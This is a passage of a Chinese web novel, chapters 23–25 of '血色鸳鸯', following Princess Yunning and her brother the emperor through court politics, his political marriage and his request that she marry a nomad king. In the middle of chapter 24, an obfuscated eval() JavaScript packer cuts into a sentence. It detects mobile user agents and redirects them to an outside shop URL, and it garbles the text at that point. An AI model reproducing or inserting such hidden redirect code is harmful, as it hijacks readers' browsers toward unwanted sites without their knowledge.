昀昭说:“我知道。但那些人受灾了,他们需要缓一缓。逼着他们交税,他们交不出来,就得借,借了就得还,还不上就得卖地,卖了地就成流民。流民多了,就更麻烦。” 他顿了顿,继续说:“让他们缓一年,他们把地种好了,明年能交更多税。比逼着他们交强。” 昀宁看着他。 看了很久。 然后她笑了。 “好。” 昀昭咧嘴笑了。 那份奏折批下去后,朝堂上吵翻了天。 有人说陛下仁德,有人说陛下胡闹,有人说国库空虚怎么办,有人说老百姓要紧。 昀昭坐在龙椅上,听他们吵了一上午。 吵完了,他说了一句话。 “朕是皇帝,朕说了算。” 朝堂上安静了。 昀宁站在珠帘后面,看着他的背影。 那个背影,不知什么时候,已经不再单薄了。 十一月初,下雪了。 第一场雪。 昀昭跑到摘星阁,拉着昀宁去看雪。 “皇姐!下雪了!快来看!” 昀宁被他拉着跑到院子里。 雪下得不大,细细的,密密的,落在头发上、肩上,凉丝丝的。 昀昭仰着头,看着天空,伸出舌头去接雪花。 “皇姐,你小时候也这样吗?” 昀宁想了想。 “嗯。” 昀昭笑了。 “我也这样。” 他跑起来,在雪地里跑,踩出一串脚印。 昀宁站在廊下,看着他跑。 阿蘅在旁边,忽然说:“殿下,陛下好像长高了。” 昀宁点点头。 “嗯。” 阿蘅说:“去年还那么小呢,今年就这么大了。” 昀宁没有说话。 她只是看着昀昭,看着他跑,看着他笑,看着他像普通孩子一样,在雪地里撒欢。 他长大了。 真的长大了。 那天晚上,昀宁坐在窗前,看着外面的雪。 月光照在雪上,亮晶晶的,像铺了一地的银。 十二月初,昀昭过生日。 十三岁了。 昀宁给他办了个小宴,就他们俩,加上阿蘅。 没有大臣,没有那些烦人的礼节,就他们三个,坐在一起吃饭。 昀昭吃了很多,吃得很开心。 “皇姐,这个好吃!” “皇姐,这个也好吃!” “皇姐,明年还能这样过吗?” 昀宁点点头。 “能。” 昀昭笑了。 那笑容很亮,比桌上的烛光还亮。 吃完饭,昀昭忽然问:“皇姐,你有什么愿望吗?” 昀宁愣了一下。 昀昭说:“我过生日,可以许愿。你也许一个吧。” 昀宁沉默了一瞬。 然后她摇摇头。 “我没有愿望。” 昀昭不信。 “怎么可能?人都有愿望的。” 昀宁想了想,说:“那我的愿望就是——你好好活着,好好当皇帝。” 昀昭看着她,眼眶忽然有些红。 “皇姐……” 昀宁笑了笑。 “行了,别煽情了。回去睡觉。” 昀昭站起来,走到门口,忽然回过头。 “皇姐。” 昀宁看着他。 昀昭说:“我会的。我会好好活着,好好当皇帝。你也要好好活着。” 他顿了顿,又说:“等我长大了,换我保护你。” 说完,他跑了。 昀宁站在原地,看着他的背影消失在门外。 她忽然觉得眼眶有些酸。 阿蘅在一旁,小声说:“殿下,陛下真好。” 昀宁点点头。 “嗯。” 她转过身,看着窗外的月亮。 月亮很亮,像那年上巳节的月光。 她在心里默默地说—— 昀昭,姐姐等着那一天。 等着你长大,等着你保护姐姐。 等着你…… 她没想下去。 因为她知道,那一天,不一定能等到。 但她愿意等。 等她的小昭,真正长大的那一天。 那天夜里,昀宁做了一个梦。 梦里她还是那个戴着面具的少年郎,站在人潮汹涌的街口。那个玄衣少年朝她走过来,笑着对她说“小公子莫要乱跑”。 她伸出手,想去拉他。 但他越走越远,最后消失在人群里。 她站在原地,看着他的背影。 忽然,一只手搭在她肩上。 她回过头。 是昀昭。 他已经长得很高了,比她高出一个头。 他看着她,笑着说—— “皇姐,我长大了。” 她醒了。 窗外,天已经亮了。 然后她笑了。 ——第二十三章完—— 24. 血色鸳鸯 13 大燕建元二十八年,三月初三,上巳节。 昀宁站在摘星阁的窗前,看着檐角滴落的雨珠。 十年了。 整整十年。 窗外的雨和十年前一模一样,细细的,密密的,从檐角滴落下来,在青石板上碎成更细小的水花。廊下的海棠开了又谢,谢了又开,已经长得很高很高,高得快要碰到窗棂。 阿蘅站在她身后,手里捧着一件新做的衣裳。 “殿下,您试试这件吧。今儿个上巳节,陛下说要来陪您用晚膳。” 昀宁没有回头。 “放着吧。” 阿蘅把衣裳放下,走过来,站在她身边。 “殿下,您都站了一个时辰了。” 昀宁没有说话。 她只是看着那些雨珠,一颗一颗,从檐角滴落。 十年了。 她忽然想起十年前,她也这样站在这里,问阿蘅:“你说这雨,它下得累不累?” 那时候她十八岁。 现在她二十八岁了。 窗外的雨还在下,她还在问自己——雨,累不累? 雨没有回答。 她也没有。 “殿下,”阿蘅小声说,“陛下来了。” 昀宁转过身。 门外,一个人走进来。 很高,很挺拔,穿着一身玄色的锦袍,腰间系着玉带。他的脸棱角分明,眉眼间带着淡淡的笑,和十年前那个趴在她肩头哭的孩子,已经判若两人。 昀昭。 “皇姐。”他走进来,笑着叫了一声。 昀宁看着他,嘴角微微弯了弯。 “来了。” 昀昭走过来,在她旁边站定,也看着窗外的雨。 “每年上巳节都下雨。” 昀宁点点头。 “嗯。” 昀昭说:“我记得小时候,你总问我,雨累不累。” 昀宁愣了一下。 昀昭看着她,笑了笑。 “我记得。那时候我还小,不懂你问这个干什么。后来懂了。” 昀宁问:“懂什么了?” 昀昭说:“懂你问的不是雨。” 他顿了顿,看着那些雨珠。 “你问的是自己。” 昀宁没有说话。 昀昭继续说:“累吗?” 昀宁沉默了一瞬。 然后她摇摇头。 “不累。” 昀昭看着她,目光里有一种复杂的东西。 他没有再问。 他只是站在那里,和她一起看着窗外的雨。 十年了。 很多事情都变了。 他不再是那个趴在她肩头哭的孩子。 她也不再是那个会问他“雨累不累”的姐姐。 他们之间,隔了什么。 说不清,道不明。 但他们都感觉到了。 那天晚上,昀昭留下来用晚膳。 阿蘅张罗了一大桌子菜,都是昀昭小时候爱吃的。糖醋鱼,红烧肉,清炒时蔬,还有一碗银耳莲子羹。 昀昭看着那些菜,笑了笑。 “阿蘅,你还记得我爱吃这些。” 阿蘅笑着说:“奴婢当然记得。陛下小时候每次来,都要吃糖醋鱼,吃得满脸都是。” 昀昭夹了一筷子鱼,放进嘴里。 “还是那个味儿。” 昀宁看着他吃,自己也慢慢吃。 吃到一半,昀昭忽然放下筷子。 “皇姐,有件事我想和你说。” 昀宁看着他。 昀昭说:“西北那边,最近不太平。” 昀宁的手微微一顿。 昀昭继续说:“胡人又在边境闹事。前些日子劫了两个村子,杀了三十多人。驻军那边递了折子,说他们缺粮草,缺兵器,缺人手。” 昀宁沉默了一瞬。 “你想怎么办?” 昀昭说:“我想增兵。” 昀宁看着他。 昀昭说:“派两万人过去,把边境守死了。让他们不敢再闹。” 昀宁想了想,说:“两万人,粮草够吗?” 昀昭说:“够。户部那边算过了,能撑一年。” 昀宁点点头。 “那就增。” 昀昭看着她,忽然问:“皇姐,你不问问别的事?” 昀宁说:“什么别的事?” 昀昭沉默了一瞬,然后摇摇头。 “没什么。” 他继续吃饭。 昀宁看着他,心里忽然涌起一种奇怪的感觉。 她发现,她已经看不透他了。 他不再是那个什么都跟她说的孩子了。 他有自己的想法,自己的打算,自己的秘密。 他是皇帝了。 真正的皇帝。 那天晚上,昀昭走后,昀宁在窗前坐了许久。 阿蘅在一旁伺候着,不敢说话。 过了很久,昀宁忽然开口。 “阿蘅。” 阿蘅连忙上前。 昀宁说:“你觉得陛下变了吗?” 阿蘅愣了一下,小心翼翼地说:“陛下……长大了。” 昀宁点点头。 “是啊,长大了。” 长大了,就不一样了。 她想起他小时候,每天缠着她下棋,每天跟在她后面喊“皇姐皇姐”,每天把心里话都说给她听。 现在他不会了。 他会说一半留一半。 他会看着她,欲言又止。 他会有自己的心思,不告诉她。 她不知道这样好不好。 她只知道,这是必然的。 他是皇帝。 皇帝不能什么都让人知道。 四月,昀昭的增兵令下去了。 两万人马开赴西北,粮草辎重源源不断地运过去。边境上,驻军的士气高涨,胡人的动静小了许多。 朝堂上,大臣们夸陛下英明。 昀昭坐在龙椅上,听着那些夸奖,脸上没什么表情。 散朝后,他去了御书房。 昀宁已经在里面等着了。 这些年,她很少上朝了。她把朝政一点点交给他,让他自己处理。除非有大事,她一般只在幕后看看。 但今天,她来了。 “皇姐。”昀昭坐下,看着她,“有事?” 昀宁点点头。 “有件事,我想问你。” 昀昭看着她。 昀宁说:“西北增兵的事,你为什么不和我商量?” 昀昭愣了一下。 昀宁说:“你那天晚上和我说了,但说的不是全部。你派去的那些人,是谁的人?” 昀昭沉默了一瞬。 然后他开口。 “是周家的人。” 昀宁的心微微一沉。 周家。 周延的周。 周延虽然死了,但周家还在。这些年他们安分守己,没出什么岔子。但昀昭忽然用他们的人,为什么? “为什么用周家的人?” 昀昭看着她,目光平静。 “因为周家的人会打仗。” 昀宁说:“会打仗的人多了。” 昀昭说:“但他们最合适。” 昀宁问:“合适什么?” 昀昭沉默了一瞬,然后说:“合适在边境待着。” 昀宁看着他,忽然明白了什么。 “昀昭,你是在防着谁?” 昀昭没有说话。 昀宁说:“你是怕有人拥兵自重,所以在用周家的人牵制?” 昀昭还是不说话。 昀宁看着他,心里忽然涌起一种复杂的情绪。 有欣慰,有心疼,还有一丝说不清的…… 他长大了。 他真的长大了。 会用人,会制衡,会防着别人。 这是皇帝该会的。 可是…… “昀昭,”她开口,“你防着别人,那防着我吗?” 昀昭抬起头,看着她。 “皇姐,你说什么?” 昀宁说:“我问你,你防着我吗?” 昀昭沉默了很久。 然后他开口。 “皇姐,我不想防你。” 昀宁看着他。 昀昭继续说:“但有时候,我不知道该不该信你。” 昀宁的心像是被什么东西刺了一下。 昀昭说:“你是为我好,我知道。但你也有自己的想法,自己的打算。我不知道那些想法和打算,会不会和我想的一样。” 他顿了顿,声音低了下去。 “皇姐,我长大了。我有自己的想法了。” 昀宁没有说话。 她只是看着他,看着他那双曾经亮亮的眼睛。 那双眼睛现在还是亮的。 但亮光里,多了一些她看不懂的东西。 那是帝王的眼光。 不是弟弟的眼光。 她站起身。 “我知道了。” 她往外走。 走到门口,昀昭的声音从身后传来。 “皇姐。” 昀宁停下脚步,没有回头。 昀昭说:“我不是故意疏远你。我只是……只是要学会自己走路。” 昀宁沉默了一瞬。 然后她点点头。 “我知道。” 她推门走了出去。 五月,昀宁又出了宫。 她一个人,没带阿蘅,穿着寻常的衣裳,走在街上。 街上还是那么热闹。卖糖人的,卖包子的,卖冰粉的,吆喝声此起彼伏。 她走到那间茶楼,上了二楼,在窗边坐下。 老板认得她,笑着端来一壶茶。 “姑娘,好久没来了。” 昀宁点点头。 “嗯,好久没来了。” 她端着茶,看着窗外。 下面的人来来往往,和十年前一样。 不对。 不一样了。 那些人老了,那些孩子长大了,那些摊子换了几茬。 只有她还坐在这里,看着这一切。 她忽然想起很久以前,沈淮问她:“殿下,您想过去江南吗?” 她说想。 想去江南,看一辈子的烟雨。 现在她还在京城。 烟雨没见过,风雨倒经历了不少。 她放下茶盏,站起身。 走出茶楼,外面阳光很刺眼。 她站在街上,不知道该往哪儿走。 回宫? 不想回。 去京兆尹府? 周文早就调走了,新来的主簿她不认识。 去东宫? 昀昭不在那儿了。他住在乾清宫,有自己的生活,自己的事。 她忽然发现,她不知道该去哪儿。 她站在人来人往的街上,像一块礁石,被潮水包围。 过了很久,她转身,往城西走。 城西有一块墓地。 沈淮葬在那儿。 她每年都来,每年都给他带一壶酒,和他说说话。 今年也一样。 她蹲在他的墓前,把酒洒在地上。 “沈淮,”她说,“我来看你了。” 风从远处吹来,吹动墓前的草。 她蹲在那儿,说了很多话。 说昀昭长大了,说他不那么依赖她了,说她不知道该怎么办。 说累了,她就在墓前坐下,看着远处的天空。 天很蓝,有几朵白云悠悠地飘着。 她忽然问:“沈淮,你说,我是不是太贪心了?” 没有人回答。 风吹过来,像是在替谁抚摸她的头发。 她闭上眼睛。 “我想让他长大,又不想让他离我太远。我想让他有自己的主意,又想让他什么都和我说。我是不是太贪心了?” 风继续吹。 她睁开眼睛,看着那块墓碑。 碑上刻着几个字——沈公淮之墓。 旁边有一行小字——沈氏家族立。 她忽然想起,他已经死了十年了。 十年。 她以为她会习惯。 可她发现,她还是没有习惯。 她还是会在某个瞬间想起他。 看见相似的背影会想,下雨天会想,睡不着会想,就连站在街上发呆的时候也会想。 她站起身,拍了拍身上的土。 “沈淮,我下次再来。” 她转身走了。 六月初六,昀宁接到了圣旨。 昀昭封她为监国长公主,让她在朝会上旁听,参与议事。 昀宁看着那道圣旨,沉默了很久。 阿蘅在一旁高兴坏了。 “殿下!陛下封您做监国长公主了!这可是天大的荣耀!” 昀宁没有说话。 她知道这不是荣耀。 这是昀昭的试探。 他想看看她会不会接受,会不会高兴,会不会因此和他更近,或者更远。 她接了。 第二天朝会,她站在珠帘后面,听着那些大臣们说话。 昀昭坐在龙椅上,处理着各种事务。他说话越来越有分量,决策越来越果断,眼神越来越沉稳。 她看着他,心里忽然有些恍惚。 这个人,真的是她那个趴在她肩头哭的弟弟吗? 散朝后,昀昭让人请她去御书房。 她去了。 昀昭坐在案后,见她进来,笑了笑。 “皇姐,今天感觉怎么样?” 昀宁点点头。 “还好。” 昀昭说:“以后每天你都要来。帮我听着,帮我看着。有不对劲的地方,告诉我。” 昀宁看着他。 “你信我?” 昀昭愣了一下。 昀宁说:“你信我不会害你?” 昀昭沉默了一瞬,然后说。 “皇姐,我不信任何人。” 昀宁的心微微一沉。 昀昭继续说:“但你是最值得我信的人。” 昀宁没有说话。 她只是看着他,看着他那张已经成熟的脸。 她忽然想起他小时候,拉着她的手,说“皇姐,我信你”。 那时候他说的是“信”。 现在他说的是“最值得信”。 不一样。 完全不一样。 “我知道了。”她说。 她转身走了。 七月,昀昭开始选秀。 他二十三岁了,该立后了。 昀宁知道这是必然的事,但听说的那一刻,心里还是有一瞬间的恍惚。 她的小昭,要娶媳妇了。 选秀的事是太后张罗的。太后是先帝的遗孀,不是昀昭的生母,但按规矩该她操办。 昀宁没有插手。 她只是偶尔听阿蘅说起,谁家的姑娘入选了,谁家的姑娘落选了,谁家的姑娘长得好看,谁家的姑娘才情好。 她不关心。 她只关心一件事——昀昭喜不喜欢。 那天晚上,她去乾清宫找昀昭。 昀昭正在批奏折,见她进来,抬起头。 “皇姐。” 昀宁走过去,在他旁边坐下。 “选秀的事,怎么样了?” 昀昭说:“快了。最后定下来三个,等着选。” 昀宁问:“你喜欢哪个?” 昀昭愣了一下。 “喜欢?” 昀宁说:“嗯,喜欢。你要和人家过一辈子,不喜欢怎么行?” 昀昭沉默了一瞬。 然后他说:“皇姐,我是皇帝。” 昀宁看着他。 昀昭说:“皇帝娶妻,不是为了喜欢。是为了江山,为了社稷,为了平衡各方势力。” 昀宁的心微微一疼。 “昀昭……” 昀昭笑了笑。 “皇姐,你别担心。我知道该怎么做。” 昀宁看着他,说不出话来。 她忽然想起很多年前,她也这样对他说过话。 “昀昭,你是皇帝,你要学会和所有人相处。” 现在他学会了。 可她却心疼了。 那天晚上,昀宁回到摘星阁,在窗前坐了许久。 阿蘅在一旁,小心翼翼地问:“殿下,您怎么了?” 昀宁摇摇头。 “没什么。” 她只是忽然想起沈淮。 想起他说“臣喜欢您”。 她那时候觉得,喜欢是一件很简单的事。 后来她才知道,喜欢是最奢侈的事。 不是所有人都能喜欢。 不是所有人都敢喜欢。 昀昭不能。 她也不能。 八月初,昀昭的皇后定了。 是周家的女儿。 周延的侄女。 昀宁听到这个消息的时候,正在吃西瓜。 她的手顿了顿,然后把瓜放下。 “周家的?” 阿蘅点点头。 “是。听说那姑娘才十七岁,长得挺好看的,性子也好。” 昀宁没有说话。 周家。 昀昭还是用了周家的人。 先是兵权,现在是联姻。 他在一点点地把周家拉拢过来,变成他的人。 她不知道这好不好。 她只知道,这是帝王之术。 他学会了。 她应该高兴。 可她没有。 八月十五,中秋。 昀昭在宫里办了宴席,请了很多人。大臣们,家眷们,宗室们,热闘得很。 昀宁也去了。 她坐在昀昭旁边,看着那些人来来往往,敬酒说话。 皇后坐在昀昭另一边,十七岁的姑娘,脸上带着得体的笑,一举一动都恰到好处。 昀昭对她很客气,该笑的时候笑,该说话的时候说话。 但昀宁看得出来,那不是喜欢。 那是应付。 她忽然有些心疼那个姑娘。 她才十七岁,就要嫁入这深宫,和一堆不认识的人周旋,和一个不爱自己的人过一辈子。 可她也知道,这是命。 她们都是命。 宴席散了,昀宁回到摘星阁。 阿蘅给她端来一碗醒酒汤。 “殿下,您喝点。” 昀宁接过来,喝了一口。 阿蘅在一旁说:“今天皇后娘娘可真好看。” 昀宁点点头。 “嗯。” 阿蘅说:“陛下对她挺客气的。” 昀宁没有说话。 客气。 这个词用得真好。 不是喜欢,是客气。 她对沈淮从来不客气。 她对他笑,对他哭,对他发脾气,对他撒娇。 她什么都对他做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316925|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 因为她知道,他不会走。 可现在他走了。 她只剩下客气。 对所有人都客气。 包括昀昭。 九月初,昀宁病了。 这回是真的病了。 风寒,发烧,躺在床上起不来。 阿蘅急得团团转,太医来了一拨又一拨。 昀昭来了。 他坐在床边,握着她的手,脸色很难看。 “皇姐,你怎么又病了?” 昀宁看着他,笑了笑。 “人老了,不中用了。” 昀昭的眼眶忽然有些红。 “你不老。” 昀宁说:“二十八了,老了。” 昀昭不说话。 他只是握着她的手,握得很紧。 昀宁看着他,心里忽然涌起一种奇怪的感觉。 他好像又变回那个孩子了。 那个会趴在她肩头哭的孩子。 “昀昭,”她开口,“你最近忙吗?” 昀昭点点头。 “忙。” 昀宁说:“忙就别老往这儿跑。我没事。” 昀昭摇摇头。 “不行。” 他顿了顿,又说:“你是我唯一的亲人了。” 昀宁的心微微一颤。 唯一的亲人。 是啊,他们是彼此唯一的亲人了。 她伸出手,揉了揉他的头发。 “行了,回去吧。让阿蘅照顾我就行。” 昀昭不肯。 他就坐在那儿,一直坐到天黑。 天黑了,他该走了。 他站起身,走到门口,忽然回过头。 “皇姐。” 昀宁看着他。 昀昭说:“你快点好起来。” 他顿了顿,又说:“我还想和你下棋。” 昀宁笑了。 “好。” 十月初,昀宁病好了。 她去看昀昭。 昀昭正在御书房里,和几个大臣议事。见她进来,他摆摆手,让那些人退下。 “皇姐,你好了?” 昀宁点点头。 “好了。” 昀昭笑了笑。 “那就好。” 他在案后坐下,拿起一份奏折。 昀宁在他对面坐下。 “昀昭,有件事我想问你。” 昀昭看着她。 昀宁说:“你对周家,到底是怎么打算的?” 昀昭沉默了一瞬。 然后他开口。 “皇姐,你想听真话?” 昀宁点点头。 昀昭说:“我想用他们,也想防着他们。” 昀宁没有说话。 昀昭继续说:“周家势力大,不能不用。但用多了,就会尾大不掉。所以要用,也要压。让他们觉得有希望,又不能真的让他们做大。” 他顿了顿,看着昀宁。 “皇姐,你觉得对吗?” 昀宁沉默了很久。 然后她点点头。 “对。” 昀昭看着她,忽然问:“皇姐,你是不是觉得我变了?” 昀宁愣了一下。 昀昭说:“你是不是觉得,我不再是以前那个我了?” 昀宁没有说话。 昀昭继续说:“我是变了。我是皇帝。皇帝不能不变。” 他顿了顿,声音低了下去。 “但有些东西,没变。” 昀宁看着他。 昀昭说:“你是我姐。永远都是。” 昀宁的心像是被什么东西轻轻撞了一下。 她看着他,看着他那张已经成熟的脸,看着他那双依旧亮亮的眼睛。 她忽然发现,有些东西,真的没变。 那双眼睛,还是那么亮。 只是亮光里,多了一些东西。 那是责任,是担当,是不得不为的无奈。 她站起身,走过去,在他旁边坐下。 “昀昭。” 昀昭看着她。 昀宁说:“姐姐知道了。” 昀昭愣了一下。 “知道什么?” 昀宁说:“知道你还是你。” 昀昭看着她,眼眶忽然有些红。 他低下头,没说话。 昀宁伸出手,揉了揉他的头发。 “行了,批你的奏折吧。姐姐在旁边看着。” 昀昭点点头。 他拿起笔,继续批。 昀宁就坐在旁边,看着他。 窗外的阳光照进来,落在他们身上。 她忽然想起很多年前,他也这样坐着批奏折,她坐在旁边教他。 那时候他还会问“皇姐,这个怎么批”“皇姐,那个对不对”。 现在他不问了。 他会自己批,自己决定,自己负责。 她该高兴。 她确实高兴。 只是高兴里,有一点点失落。 一点点而已。 那天晚上,昀宁回到摘星阁,在窗前坐了许久。 阿蘅端来一碗银耳羹。 “殿下,您喝点。” 昀宁接过来,喝了一口。 阿蘅在一旁说:“殿下,您今天好像心情不错。” 昀宁点点头。 “嗯。” 阿蘅问:“陛下和您说什么了?” 昀宁想了想,说:“没说什么。就是……说了些话。” 阿蘅不懂,但也没有再问。 昀宁喝完银耳羹,放下碗。 窗外的月亮很亮。 像那年上巳节的月亮。 十一月初,昀昭下了道圣旨。 减免天下赋税三成,三年。 朝堂上又吵翻了天。 有人说陛下仁德,有人说陛下胡闹,有人说国库空虚怎么办,有人说老百姓要紧。 昀昭坐在龙椅上,听他们吵了一上午。 吵完了,他说了一句话。 “朕是皇帝,朕说了算。” 朝堂上安静了。 昀宁站在珠帘后面,看着他的背影。 她忽然想起十年前,他也说过这句话。 那时候他还是个孩子,说这话的时候,带着一股赌气的劲儿。 现在他说这话,是真正的决定。 不一样的。 完全不一样。 她转身走了。 十二月,下雪了。 第一场雪。 昀宁站在摘星阁的窗前,看着那些雪花飘落。 阿蘅在一旁说:“殿下,今年雪真大。” 昀宁点点头。 “嗯。” 她忽然想起十年前,昀昭拉着她去看雪,在雪地里跑,踩出一串脚印。 现在他不会跑了。 他在乾清宫里,和那些大臣们议事,批奏折,做决定。 她走过去,也踩出一串脚印。 她一个人。 阿蘅在一旁看着,忽然说:“殿下,奴婢陪您跑。” 她跑起来,在雪地里跑。 昀宁看着她跑,嘴角微微弯了弯。 阿蘅跑了一圈,跑回来,气喘吁吁的。 “殿下,您也跑跑。” 昀宁摇摇头。 “不跑了。” 阿蘅看着她,眼眶忽然有些红。 “殿下……” 昀宁说:“跑不动了。” 她转身走回廊下,站在那儿,看着雪。 雪还在下。 一片,一片,又一片。 她忽然想起很久以前,有人对她说—— “殿下,您想去江南吗?” 她说想。 想去江南,看一辈子的烟雨。 现在她还在京城。 还在看着雪。 还在想着那个人。 她闭上眼睛,深吸一口气。 然后她睁开眼睛,转身走回屋里。 “阿蘅。” 阿蘅连忙跟上。 昀宁说:“备些酒菜。今晚,咱们喝点。” 阿蘅愣了一下,随即点点头。 “是。” 那天晚上,昀宁喝了很多酒。 她很少喝酒,但今晚想喝。 阿蘅陪着她,也喝了一点。 喝着喝着,阿蘅忽然哭了。 “殿下,您这些年……太苦了。” 昀宁看着她,笑了。 “苦什么?不苦。” 阿蘅摇摇头。 “苦。奴婢都看在眼里。您一个人扛着这么多事,谁都不说,什么都往心里咽。您不苦谁苦?” 昀宁没有说话。 她端起酒杯,又喝了一口。 阿蘅擦了擦眼泪,继续说:“殿下,您以后能不能……别一个人扛着?您还有奴婢,还有陛下。您有什么事,和我们说说。” 昀宁看着她,看了很久。 然后她点点头。 “好。” 阿蘅笑了,笑得眼泪都出来了。 那天晚上,昀宁喝醉了。 她躺在床上,迷迷糊糊的,嘴里一直说着什么。 阿蘅凑近了听,听见她说—— “沈淮……沈淮……” 阿蘅的眼泪又掉下来。 她轻轻给昀宁盖好被子,坐在床边,守着她。 窗外,雪还在下。 一片,一片,又一片。 ——第二十四章完—— 25. 血色鸳鸯 14 大燕建元二十九年,二月初九。 立春已经过了,天却还是冷得厉害。风从北边刮过来,带着刀子似的寒意,刮得人脸上生疼。 昀宁站在摘星阁的院子里,看着那棵老槐树。 槐树光秃秃的,枝丫伸向灰蒙蒙的天空,像一双双干枯的手。去年落的叶子还堆在树下,被风吹得簌簌作响。 “殿下,”阿蘅从屋里出来,手里捧着一件大氅,“外面冷,您披上。” 昀宁接过氅,披在身上。 阿蘅站在她旁边,也看着那棵槐树。 “殿下,您站了半个时辰了。” 昀宁没有说话。 她只是看着那棵树,看着那些光秃秃的枝丫。 她想起很多年前,这棵树开花的时候,满院子都是香的。昀昭那时候还小,够不着花,就让她抱着他摘。 一串一串的槐花,白白的,香香的,摘下来泡茶喝,甜甜的。 现在树还在,花还会开。 但抱着他摘花的人,已经抱不动他了。 他长大了。 她也老了。 “殿下,”一个小太监跑进来,跪在地上,“陛下来了。” 昀宁转过身。 院门口,一个人走进来。 昀昭。 他穿着一身玄色的常服,没有带随从,一个人来的。走到昀宁面前,他站定,叫了一声。 “皇姐。” 昀宁看着他。 “怎么这时候来了?” 昀昭说:“想和皇姐下盘棋。” 昀宁愣了一下。 下棋? 他已经很久没和她下棋了。 “进来吧。”她转身往里走。 昀昭跟在后面。 摘星阁的正殿里,阿蘅已经摆好了棋盘。黑白两色的棋子,整整齐齐地放在两边。 昀宁在一边坐下,昀昭在对面坐下。 阿蘅端来两盏茶,悄悄退到一旁。 昀宁拿起一枚白子,看着昀昭。 “你先下。” 昀昭摇摇头。 “皇姐先下。” 昀宁没有推辞,把白子落在棋盘上。 昀昭跟着落子。 一开始,两个人都没说话。只是下棋,一颗一颗,慢慢地落。 窗外,风还在刮。 屋里,只有棋子落在棋盘上的声音。 下了半个时辰,昀宁忽然开口。 “你今天来,不是只想下棋吧?” 昀昭的手顿了顿。 他看着棋盘,沉默了一瞬,然后说。 “阿姐,有件事……我想和你说。” 昀宁没有抬头,继续看着棋盘。 “说。” 昀昭又沉默了一会儿。 然后他开口。 “西北那边,派人来了。” 昀宁的手微微一顿。 昀昭继续说:“胡人的王,想要求和。” 昀宁抬起头,看着他。 昀昭也看着她。 “条件是什么?” 昀昭沉默了一瞬。 “和亲。” 昀宁的心像是被什么东西猛地撞了一下。 但她脸上什么也没表现出来。 她只是看着昀昭,看着他那张已经成熟的脸。 “和谁?” 昀昭没有回答。 他只是看着她。 昀宁懂了。 她忽然笑了。 “我?” 昀昭点点头。 昀宁放下手里的棋子。 “昀昭,”她说,“你知道你在说什么吗?” 昀昭说:“我知道。” “你知道我是谁吗?” “我知道。” “我是你姐。亲姐。” “我知道。” 昀宁看着他,目光里有什么东西在翻涌。 “那你让我去和亲?” 昀昭沉默了一瞬,然后开口。 “皇姐,我没有别的办法。” 昀宁没有说话。 昀昭继续说:“胡人这次来势汹汹。他们集结了十万人马,就在边境上。我们的兵,只有五万。打起来,赢不了。” 他顿了顿,声音低了下去。 “赢了,也要死很多人。输了的,更惨。” 昀宁看着他。 “所以你让我去和亲?让我去嫁给那个胡人的王?让我去那个鬼地方,和那些野蛮人过日子?” 昀昭说:“皇姐,我知道这对你不公平。” 昀宁笑了。 那笑容冷得像冰。 “不公平?昀昭,你知道什么叫不公平吗?” 她站起身,走到窗前,背对着他。 “我十八岁那年,父皇死了。我站在你身后,替你挡着那些人。我二十岁那年,沈淮死了。他死在我怀里,就因为我让他去做细作。我二十二岁那年,你长大了,开始有自己的主意。我二十八岁那年,你娶了周家的女儿,开始用自己的人。现在,我二十九岁了,你让我去和亲。” 她转过身,看着他。 “昀昭,你告诉我,什么叫公平?” 昀昭坐在那里,一动不动。 他的脸上没什么表情,但他的手,紧紧攥着衣袖。 “皇姐,”他开口,“我知道你恨我。” 昀宁没有说话。 昀昭继续说:“你为我做的那些事,我都记得。沈淮的事,我记得。你替我挡的那些人,我也记得。你教我下棋,教我批奏折,教我怎么做皇帝,我都记得。” 他抬起头,看着她。 “但皇姐,我是皇帝。” 昀宁看着他。 昀昭说:“皇帝不能只想一个人。皇帝要想天下人。” 他站起身,走到她面前。 “胡人这次来,是真的要打。打起来,死的不只是你,不只是我,是成千上万的老百姓。那些种地的,做工的,做生意的,那些上有老下有小的,他们都会死。” 他顿了顿,声音有些发颤。 “皇姐,你说我该怎么办?” 昀宁看着他,看着他那双曾经亮亮的眼睛。 那双眼睛还是亮的。 但亮光里,有痛苦,有挣扎,还有她看不懂的东西。 “所以你就让我去?”她问。 “我不想让你去。” “但你还是让我去。” 昀昭沉默了一瞬。 然后他说。 “皇姐,我没有别的办法。” 昀宁看着他。 看了很久。 然后她忽然笑了。 那笑容比刚才更淡,淡得像是什么都没有。 “本宫不想去。” …… “陛下,”她说,“你知道沈淮死的时候,本宫是什么感觉吗?” 昀昭没有说话。 “本宫觉得心被人挖走了。空空的,什么都没有了。” 她顿了顿,继续说:“这些年,本宫一直在想,要是他没死,我们会怎么样。会不会一起去江南,看一辈子的烟雨。会不会生几个孩子,热热闹闹的。会不会……” 她说不下去了。 昀昭看着她,眼眶红了。 “阿姐……” “陛下不必再劝,本宫心意已决。” “可是阿姐,你就不能替我着着想吗?你就不能替大燕着着想吗?” “替陛下着想?替大燕着想?可谁来替本宫着想呢?本宫以为,我从小教着陛下,护着陛下,陛下长大后也会护着本宫!” “可是,和亲是目前损失最小的方法了。” “损失?所以,本宫的感情,本宫的未来,包括本宫这个人,都只是……微不足道的损失?” “阿姐,您可是大燕的监国长公主啊,您怎可以如此任性!” “任性?陛下觉得本宫任性?所以,陛下觉得,本宫就应该为了大燕奉献一切对吗?本宫就应该为了大燕而远嫁成为可敦?” “阿姐,您是大燕的长公主!您难道不爱大燕了吗?” “爱?本宫当然爱大燕,可本宫更爱自己!这一次……本宫想为自己而活。” “阿姐,就当我求您了,您就再为大燕牺牲最后一次,好吗?” “……” “阿姐…” “行了。” 她走回棋盘边,坐下。 “这盘棋,还下吗?” 昀昭看着她,犹豫了一下,走回去坐下。 两个人继续下棋。 但谁都没说话。 棋子落在棋盘上,一声一声,像是在敲着什么。 又下了半个时辰,昀昭忽然开口。 “皇姐,你恨我吗?” 昀宁没有抬头。 “恨陛下干什么?” 昀昭说:“我让你去和亲。” 